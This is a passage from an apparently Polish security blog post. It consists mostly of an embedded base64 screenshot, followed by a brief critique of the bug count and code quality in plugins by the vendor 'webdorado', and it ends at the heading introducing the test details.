FFh5hUKhVHHlDgAAwIeC7aHF3txBc7OHvLvAM5QWovnC82UL3mIBgA7fT39+2rC9JQAAAGoeTp93thELVbQgsZpw75vFVlrUV063dyUyEEZb4DOE0+77+UDd9XD7AwBQAygZZqmhmE9LsY9rdt8sxopCSmkh2lQI54wh3zJD1Z8xn+HTCPhUod5MPuhKww8D2/79udUAAAAfEIYaYZuBlAgYTQxZ3L5ZnN7ubLHFLg8jHvDNAj5P6Orqc7PoUOWVSCSfW9kBAPhQsI3o7Ldc5RsjaMjHgymzLC0t1Z4GAACfCfb29h86CwAAALWICrYnBQAAAAAAAKoGyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAAABAI4DMAgAAAAAA0AggswAAAAAAADQCyCwAAAAAAACNADILAAAAqJ0kRroGnKB9Fxu2dfELDHQ2U2f89n471nqoK0Y6BUmxISFxf+SViBv3CgwPdmGlUR5At7GzV5CfRzO9KieWGT97/GOvs/6OFR5U8SygJnhl1vtbkYPclzSKTdrpacp/edaJqV+NP5y96HSuv1Pl4lEtfgAAAODzplwGFdyKGBe0OMh202bPJh86VxVScD5iXqLz+iMrm2jnXomY4hvbeL9XM4UQT89EnDHy3nwW019P42bPiErottbDSK15MPNYe1atEQKVh0tmvc+6vGXezOCTzxDqr/Tip3FB8w5n857mi0fl+AEAAABAjp6TWy905sT5P3I9m6hFjzj6nz3rr46IONBzCT3pQn40cu7ltHh7ci5qRs917h/nM7t5kTauJh6jnWMSkoo9nLU1lB3gQ8GWWVlxXg5eJztOmtR/69aTyi59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" width="640" /><br />
<br />
<style type="text/css">p { margin-bottom: 0.25cm; direction: ltr; line-height: 120%; text-align: left; widows: 2; orphans: 2; }</style>
<br />
<br />
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Zabawne jest to,
że oprócz wersji otwartej/darmowej „twórca” udostępnia także
wersję płatną z dodatkowymi licencjami na skórki własnego
autorstwa. Liczba błędów w pluginach autora „webdorado” jest
porażająca, a jakość kodu nie zachwyca.</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Szczegóły
testu:</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
